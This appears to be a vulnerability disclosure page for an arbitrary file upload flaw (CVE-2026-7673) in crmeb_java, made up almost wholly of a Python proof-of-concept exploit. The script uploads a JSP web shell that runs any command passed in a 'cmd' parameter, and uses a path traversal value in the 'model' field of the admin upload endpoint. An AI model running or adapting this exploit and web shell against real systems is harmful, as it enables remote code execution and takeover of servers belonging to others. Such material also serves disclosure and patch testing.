CVE-2026-7673 crmeb_java 任意文件上传漏洞

import requests # Vulnerable endpoint URL target_url = "http://target.com/adminapi/system/upload" # Attacker's session cookie (High Privilege required) cookies = { "PHPSESSID": "attacker_session_id" } # Payload file files = { 'file': ('shell.jsp', '<%@ page import="java.io.*" %><%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>', 'application/octet-stream') } # Malicious data parameter # 'model' parameter is vulnerable payload_data = { 'model': '../../../' # Attempting path traversal or changing storage logic } try: response = requests.post(target_url, files=files, data=payload_data, cookies=cookies) if response.status_code == 200: print("[+] Exploit success! File uploaded.") print("[+] Response:", response.text) else: print("[-] Exploit failed.") except Exception as e: print(f"[-] Error: {e}")